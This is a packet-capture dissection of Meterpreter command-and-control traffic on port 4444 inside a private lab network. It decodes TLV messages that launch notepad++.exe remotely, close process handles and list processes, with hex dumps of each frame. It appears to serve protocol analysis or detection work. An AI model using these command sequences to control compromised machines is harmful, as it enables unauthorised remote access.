    Data: 00000034000108fe433a50726f6772616d2046696c657320... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x000108fe [Type: Request]: TLV_TYPE_PROCESS_PATH
    Data: 433a50726f6772616d2046696c6573202878383629 4e6f74... [Value] C:Program Files (x86)Notepad++notepad++.exe
Meterpreter protocol, TLV details
    Data: 0000000c00020900000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020900 [Type: Request]: TLV_TYPE_PROCESS_FLAGS
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 bc 64 7c 40 00 40 06 52 1c c0 a8 01 2a c0 a8   ..d|@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 32 0f a3 78 c4 d7 50 18   .).\.P.}2..x..P.
0030  00 77 84 52 00 00 00 00 00 94 00 00 00 00 00 00   .w.R............
0040  00 23 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .#....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 65 78 65 63 75 74 65   _process_execute
0060  00 00 00 00 29 00 01 00 02 31 32 31 35 30 30 38   ....)....1215008
0070  30 39 30 35 33 38 35 35 35 39 34 36 34 33 33 33   0905385559464333
0080  35 37 35 32 38 35 37 39 37 00 00 00 00 34 00 01   575285797....4..
0090  08 fe 43 3a 50 72 6f 67 72 61 6d 20 46 69 6c 65   ..C:Program File
00a0  73 20 28 78 38 36 29 4e 6f 74 65 70 61 64 2b 2b   s (x86)Notepad++
00b0  6e 6f 74 65 70 61 64 2b 2b 2e 65 78 65 00 00 00   notepad++.exe...
00c0  00 0c 00 02 09 00 00 00 00 00                     ..........
```

```
    158 3155.823329    192.168.1.41          192.168.1.42          MTRPROT  178    50768 → 4444 [PSH, ACK] Seq=10113 Ack=8240
Win=2051 Len=124
Frame 158: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 10113, Ack: 8240, Len: 124
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000007c [Command length]: 124
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000230001000173746461706695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 000000230001000173746461706695f7379735f70726f6365... [TLV]
    Command: 0x00000023 [Length]: 35
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6578656375... [Value] stdapi_sys_process_execute
Meterpreter protocol, TLV details
    Data: 0000002900010002313231353030383039303533383535... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3132313530303830393035333835353539343634333335... [Value] 12150080905385559464333575285797
Meterpreter protocol, TLV details
    Data: 0000000c000208fc00002a [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x000208fc [Type: Response]: TLV_TYPE_PID
    Data: 00002a70 [Value] 10864
Meterpreter protocol, TLV details
    Data: 00000010001002760000000010000000 [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x00100276 [Type: Response]: TLV_TYPE_PROCESS_HANDLE
    Data: 0000000100000001 [Value] ⍰⍰
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 a4 0d 89 40 00 80 06 69 27 c0 a8 01 29 c0 a8   ....@...i'...)..
0020  01 2a c6 50 11 5c a3 78 c4 d7 2e 7d 32 a3 50 18   .*.P.\.x...}2.P.
0030  08 03 63 ed 00 00 00 00 00 7c 00 00 00 01 00 00   ..c......|......
0040  00 23 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .#....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 65 78 65 63 75 74 65   _process_execute
0060  00 00 00 00 29 00 01 00 02 31 32 31 35 30 30 38   ....)....1215008
0070  30 39 30 35 33 38 35 35 35 39 34 36 34 33 33 33   0905385559464333
0080  35 37 35 32 38 35 37 39 37 00 00 00 00 0c 00 02   575285797.......
0090  08 fc 00 00 2a 70 00 00 00 10 00 10 02 76 00 00   ....*p.......v..
00a0  00 01 00 00 00 01 00 00 00 0c 00 02 00 04 00 00   ................
00b0  00 00                                             ..
```

```
    159 3173.340287    192.168.1.42          192.168.1.41          MTRPROT  152    4444 → 50768 [PSH, ACK] Seq=8240 Ack=10237
Win=119 Len=98
Frame 159: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 8240, Ack: 10237, Len: 98
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000062 [Command length]: 98
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000210001000173746461706 95f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000021000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f636c6f7365... [Value] stdapi_sys_process_close
Meterpreter protocol, TLV details
    Data: 00000029000100023033333232313537313437383838343 9... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3033333232313537313437383838343933323139313739 33... [Value] 033221571478884932191793656064 71
Meterpreter protocol, TLV details
    Data: 00000010001002580000000000000000 [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x00100258 [Type: Request]: TLV_TYPE_HANDLE
    Data: 0000000000000000 [Value]
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 8a 64 7e 40 00 40 06 52 4c c0 a8 01 2a c0 a8   ..d~@.@.RL...*..
0020  01 29 11 5c c6 50 2e 7d 32 a3 a3 78 c5 53 50 18   .).\.P.}2..x.SP.
0030  00 77 84 20 00 00 00 00 00 62 00 00 00 00 00 00   .w. .....b......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 63 6c 6f 73 65 00 00   _process_close..
0060  00 00 29 00 01 00 02 30 33 33 32 32 31 35 37 31   ..)....033221571
0070  34 37 38 38 38 34 39 33 32 31 39 31 37 39 33 36   4788849321917936
0080  35 36 30 36 34 37 31 00 00 00 00 10 00 10 02 58   5606471........X
0090  00 00 00 00 00 00 00 00                           ........
```

```
    160 3173.341987    192.168.1.41          192.168.1.42          MTRPROT  148    50768 → 4444 [PSH, ACK] Seq=10237 Ack=8338
Win=2050 Len=94
Frame 160: 148 bytes on wire (1184 bits), 148 bytes captured (1184 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 10237, Ack: 8338, Len: 94
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005e [Command length]: 94
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000002100010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000021000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f636c6f7365... [Value] stdapi_sys_process_close
Meterpreter protocol, TLV details
    Data: 00000029000100023033333232313537313437383838343439... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 303333323231353731343738383834393332313931373933... [Value] 03322157147888493219179365606471
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 86 0d 8b 40 00 80 06 69 43 c0 a8 01 29 c0 a8   ....@...iC...)..
0020  01 2a c6 50 11 5c a3 78 c5 53 2e 7d 33 05 50 18   .*.P.\.x.S.}3.P.
0030  08 02 ff d9 00 00 00 00 00 5e 00 00 00 01 00 00   .........^......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 63 6c 6f 73 65 00 00   _process_close..
0060  00 00 29 00 01 00 02 30 33 33 32 32 31 35 37 31   ..)....033221571
0070  34 37 38 38 38 34 39 33 32 31 39 31 37 39 33 36   4788849321917936
0080  35 36 30 36 34 37 31 00 00 00 00 0c 00 02 00 04   5606471.........
0090  00 00 00 00                                       ....
```

```
    161 3185.686748    192.168.1.42          192.168.1.41          MTRPROT  205    4444 → 50768 [PSH, ACK] Seq=8338 Ack=10331
Win=119 Len=151
Frame 161: 205 bytes on wire (1640 bits), 205 bytes captured (1640 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 8338, Ack: 10331, Len: 151
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000097 [Command length]: 151
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000002300010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000023000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000023 [Length]: 35
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6578656375... [Value] stdapi_sys_process_execute
Meterpreter protocol, TLV details
    Data: 000000290001000234383639383931323639353630343837... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 343836393839313236393536303438373833333734303131... [Value] 48698912695604878337401156453957
Meterpreter protocol, TLV details
    Data: 00000037000108fe433a5c50726f6772616d2046696c6573... [TLV]
    Command: 0x00000037 [Length]: 55
    Type: 0x000108fe [Type: Request]: TLV_TYPE_PROCESS_PATH
    Data: 433a5c50726f6772616d2046696c657320287838362 95c4e... [Value] C:\Program Files (x86)\Notepad++\notepad++.exe
Meterpreter protocol, TLV details
    Data: 0000000c00020900000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020900 [Type: Request]: TLV_TYPE_PROCESS_FLAGS
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 bf 64 80 40 00 40 06 52 15 c0 a8 01 2a c0 a8   ..d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 33 05 a3 78 c5 b1 50 18   .).\.P.}3..x..P.
0030  00 77 84 55 00 00 00 00 00 97 00 00 00 00 00 00   .w.U............
0040  00 23 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .#....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 65 78 65 63 75 74 65   _process_execute
0060  00 00 00 00 29 00 01 00 02 34 38 36 39 38 39 31   ....)....4869891
0070  32 36 39 35 36 30 34 38 37 38 33 33 37 34 30 31   2695604878337401
0080  31 35 36 34 35 33 39 35 37 00 00 00 00 37 00 01   156453957....7..
0090  08 fe 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c   ..C:\Program Fil
00a0  65 73 20 28 78 38 36 29 5c 4e 6f 74 65 70 61 64   es (x86)\Notepad
00b0  2b 2b 5c 6e 6f 74 65 70 61 64 2b 2b 2e 65 78 65   ++\notepad++.exe
00c0  00 00 00 00 0c 00 02 09 00 00 00 00 00            .............
```

```
    162 3185.691306    192.168.1.41          192.168.1.42          MTRPROT  178    50768 → 4444 [PSH, ACK] Seq=10331 Ack=8489
Win=2050 Len=124
Frame 162: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 10331, Ack: 8489, Len: 124
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000007c [Command length]: 124
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000002300010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000023000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000023 [Length]: 35
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6578656375... [Value] stdapi_sys_process_execute
Meterpreter protocol, TLV details
    Data: 00000029000100023438363938393132363935363034383837... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3438363938393132363935363034383738333337343031... [Value] 4869891269560487833740115645395 7
Meterpreter protocol, TLV details
    Data: 0000000c000208fc00002a [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x000208fc [Type: Response]: TLV_TYPE_PID
    Data: 00002ab0 [Value] 10928
Meterpreter protocol, TLV details
    Data: 00000010001002760000000020000000 [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x00100276 [Type: Response]: TLV_TYPE_PROCESS_HANDLE
    Data: 0000000200000002 [Value] ⍰⍰
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 a4 0d 8c 40 00 80 06 69 24 c0 a8 01 29 c0 a8   ....@...i$...)..
0020  01 2a c6 50 11 5c a3 78 c5 b1 2e 7d 33 9c 50 18   .*.P.\.x...}3.P.
0030  08 02 44 e3 00 00 00 00 00 7c 00 00 00 01 00 00   ..D......|......
0040  00 23 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .#....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 65 78 65 63 75 74 65   _process_execute
0060  00 00 00 00 29 00 01 00 02 34 38 36 39 38 39 31   ....)....4869891
0070  32 36 39 35 36 30 34 38 37 38 33 33 37 34 30 31   2695604878337401
0080  31 35 36 34 35 33 39 35 37 00 00 00 00 0c 00 02   156453957.......
0090  08 fc 00 00 2a b0 00 00 00 10 00 10 02 76 00 00   ....*........v..
00a0  00 02 00 00 00 02 00 00 00 0c 00 02 00 04 00 00   ................
00b0  00 00                                             ..
```

```
    163 3221.478506    192.168.1.42          192.168.1.41          MTRPROT  152    4444 → 50768 [PSH, ACK] Seq=8489 Ack=10455
Win=119 Len=98
Frame 163: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 8489, Ack: 10455, Len: 98
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000062 [Command length]: 98
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000210001000173746461706 95f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000002100010001737464617069 5f7379735f70726f6365... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f636c6f7365... [Value] stdapi_sys_process_close
Meterpreter protocol, TLV details
    Data: 00000029000100023634323136343831323839343333343039... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 36343231363438313238393433343039353230343233383 0... [Value] 64216481289434095204238075633137
Meterpreter protocol, TLV details
    Data: 00000010001002580000000100000 00 [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x00100258 [Type: Request]: TLV_TYPE_HANDLE
    Data: 0000000100000001 [Value] ⍰⍰
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 8a 64 82 40 00 40 06 52 48 c0 a8 01 2a c0 a8   ..d.@.@.RH...*..
0020  01 29 11 5c c6 50 2e 7d 33 9c a3 78 c6 2d 50 18   .).\.P.}3..x.-P.
0030  00 77 84 20 00 00 00 00 00 62 00 00 00 00 00 00   .w. .....b......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 63 6c 6f 73 65 00 00   _process_close..
0060  00 00 29 00 01 00 02 36 34 32 31 36 34 38 31 32   ..)....642164812
0070  38 39 34 33 34 30 39 35 32 30 34 32 33 38 30 37   8943409520423807
0080  35 36 33 33 31 33 37 00 00 00 00 10 00 10 02 58   5633137........X
0090  00 00 00 01 00 00 00 01                           ........
```

```
    164 3221.479472    192.168.1.41          192.168.1.42          MTRPROT  148    50768 → 4444 [PSH, ACK] Seq=10455 Ack=8587
Win=2049 Len=94
Frame 164: 148 bytes on wire (1184 bits), 148 bytes captured (1184 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 10455, Ack: 8587, Len: 94
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005e [Command length]: 94
    Type: 0x00000001 [Command type: Response]: 1
    Data: 00000021000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000021000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f636c6f7365... [Value] stdapi_sys_process_close
Meterpreter protocol, TLV details
    Data: 00000029000100023634323136343831323839343333343039... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3634323136343831323839343334303935323034323338330... [Value] 64216481289434095204238075633137
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 86 0d 8d 40 00 80 06 69 41 c0 a8 01 29 c0 a8   ....@...iA...)..
0020  01 2a c6 50 11 5c a3 78 c6 2d 2e 7d 33 fe 50 18   .*.P.\.x.-.}3.P.
0030  08 01 0b 07 00 00 00 00 00 5e 00 00 00 01 00 00   .........^......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 63 6c 6f 73 65 00 00   _process_close..
0060  00 00 29 00 01 00 02 36 34 32 31 36 34 38 31 32   ..)....642164812
0070  38 39 34 33 34 30 39 35 32 30 34 32 33 38 30 37   8943409520423807
0080  35 36 33 33 31 33 37 00 00 00 00 0c 00 02 00 04   5633137.........
0090  00 00 00 00                                       ....
```

```
    165 3234.580350    192.168.1.42          192.168.1.41          MTRPROT  205    4444 → 50768 [PSH, ACK] Seq=8587 Ack=10549
Win=119 Len=151
Frame 165: 205 bytes on wire (1640 bits), 205 bytes captured (1640 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 8587, Ack: 10549, Len: 151
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000097 [Command length]: 151
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000002300010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000023000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000023 [Length]: 35
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6578656375... [Value] stdapi_sys_process_execute
Meterpreter protocol, TLV details
    Data: 00000029000100023834393633373532363733363330343 8... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 38343936333735323637333633303438383534373839333 8... [Value] 84963752673630488547893828169501
Meterpreter protocol, TLV details
    Data: 00000037000108fe433a2f50726f6772616d2046696c6573... [TLV]
    Command: 0x00000037 [Length]: 55
    Type: 0x000108fe [Type: Request]: TLV_TYPE_PROCESS_PATH
    Data: 433a2f50726f6772616d2046696c657320287838362 92f4e... [Value] C:/Program Files (x86)/Notepad++/notepad++.exe
Meterpreter protocol, TLV details
    Data: 0000000c00020900000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020900 [Type: Request]: TLV_TYPE_PROCESS_FLAGS
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 bf 64 84 40 00 40 06 52 11 c0 a8 01 2a c0 a8   ..d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 33 fe a3 78 c6 8b 50 18   .).\.P.}3..x..P.
0030  00 77 84 55 00 00 00 00 00 97 00 00 00 00 00 00   .w.U............
0040  00 23 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .#....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 65 78 65 63 75 74 65   _process_execute
0060  00 00 00 00 29 00 01 00 02 38 34 39 36 33 37 35   ....)....8496375
0070  32 36 37 33 36 33 30 34 38 38 35 34 37 38 39 33   2673630488547893
0080  38 32 38 31 36 39 35 30 31 00 00 00 00 37 00 01   828169501....7..
0090  08 fe 43 3a 2f 50 72 6f 67 72 61 6d 20 46 69 6c   ..C:/Program Fil
00a0  65 73 20 28 78 38 36 29 2f 4e 6f 74 65 70 61 64   es (x86)/Notepad
00b0  2b 2b 2f 6e 6f 74 65 70 61 64 2b 2b 2e 65 78 65   ++/notepad++.exe
00c0  00 00 00 00 0c 00 02 09 00 00 00 00 00            .............
```

```
    166 3234.584196    192.168.1.41          192.168.1.42          MTRPROT  178    50768 → 4444 [PSH, ACK] Seq=10549 Ack=8738
Win=2049 Len=124
Frame 166: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 10549, Ack: 8738, Len: 124
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000007c [Command length]: 124
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000002300010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000023000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000023 [Length]: 35
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6578656375... [Value] stdapi_sys_process_execute
Meterpreter protocol, TLV details
    Data: 00000029000100023834393633373532363733363330343 8... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 38343936333735323637333633303438383534373839333 8... [Value] 84963752673630488547893828169501
Meterpreter protocol, TLV details
    Data: 0000000c000208fc000026 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x000208fc [Type: Response]: TLV_TYPE_PID
    Data: 000026fc [Value] 9980
Meterpreter protocol, TLV details
    Data: 00000010001002760000000030000000 [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x00100276 [Type: Response]: TLV_TYPE_PROCESS_HANDLE
    Data: 0000000300000003 [Value] ⍰⍰
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 a4 0d 8e 40 00 80 06 69 22 c0 a8 01 29 c0 a8   ....@...i"...)..
0020  01 2a c6 50 11 5c a3 78 c6 8b 2e 7d 34 95 50 18   .*.P.\.x...}4.P.
0030  08 01 49 be 00 00 00 00 00 7c 00 00 00 01 00 00   ..I......|......
0040  00 23 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .#....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 65 78 65 63 75 74 65   _process_execute
0060  00 00 00 00 29 00 01 00 02 38 34 39 36 33 37 35   ....)....8496375
0070  32 36 37 33 36 33 30 34 38 38 35 34 37 38 39 33   2673630488547893
0080  38 32 38 31 36 39 35 30 31 00 00 00 00 0c 00 02   828169501.......
0090  08 fc 00 00 26 fc 00 00 00 10 00 10 02 76 00 00   ....&........v..
00a0  00 03 00 00 00 03 00 00 00 0c 00 02 00 04 00 00   ................
00b0  00 00                                             ..
```

```
    167 3262.984061    192.168.1.42          192.168.1.41          MTRPROT  144    4444 → 50768 [PSH, ACK] Seq=8738 Ack=10673 
Win=119 Len=90
Frame 167: 144 bytes on wire (1152 bits), 144 bytes captured (1152 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 8738, Ack: 10673, Len: 90
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005a [Command length]: 90
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000029000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000029000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6765745f70... [Value] stdapi_sys_process_get_processes
Meterpreter protocol, TLV details
    Data: 00000029000100023832363832323039373434313637313136... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 38323638323230393734343136373136373833323530303032... [Value] 8268220974416716783250020204 1645
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 82 64 86 40 00 40 06 52 4c c0 a8 01 2a c0 a8   ..d.@.@.RL...*..
0020  01 29 11 5c c6 50 2e 7d 34 95 a3 78 c7 07 50 18   .).\.P.}4..x..P.
0030  00 77 84 18 00 00 00 00 00 5a 00 00 00 00 00 00   .w.......Z......
0040  00 29 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .)....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 67 65 74 5f 70 72 6f   _process_get_pro
0060  63 65 73 73 65 73 00 00 00 00 29 00 01 00 02 38   cesses....)....8
0070  32 36 38 32 32 30 39 37 34 34 31 36 37 31 36 37   2682209744167167
0080  38 33 32 35 30 30 32 30 32 30 34 31 36 34 35 00   832500202041645.
```

```
    168 3265.607457    192.168.1.41          192.168.1.42          MTRPROT  8246   50768 → 4444 [PSH, ACK] Seq=10673 Ack=8828
Win=2048 Len=8192
Frame 168: 8246 bytes on wire (65968 bits), 8246 bytes captured (65968 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 10673, Ack: 8828, Len: 8192
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00002dd2 [Command length]: 11730
    Type: 0x00000001 [Command type: Response]: 1
    Data: 00000029000100017374646170695f7379735f70726f6365... [Command payload]
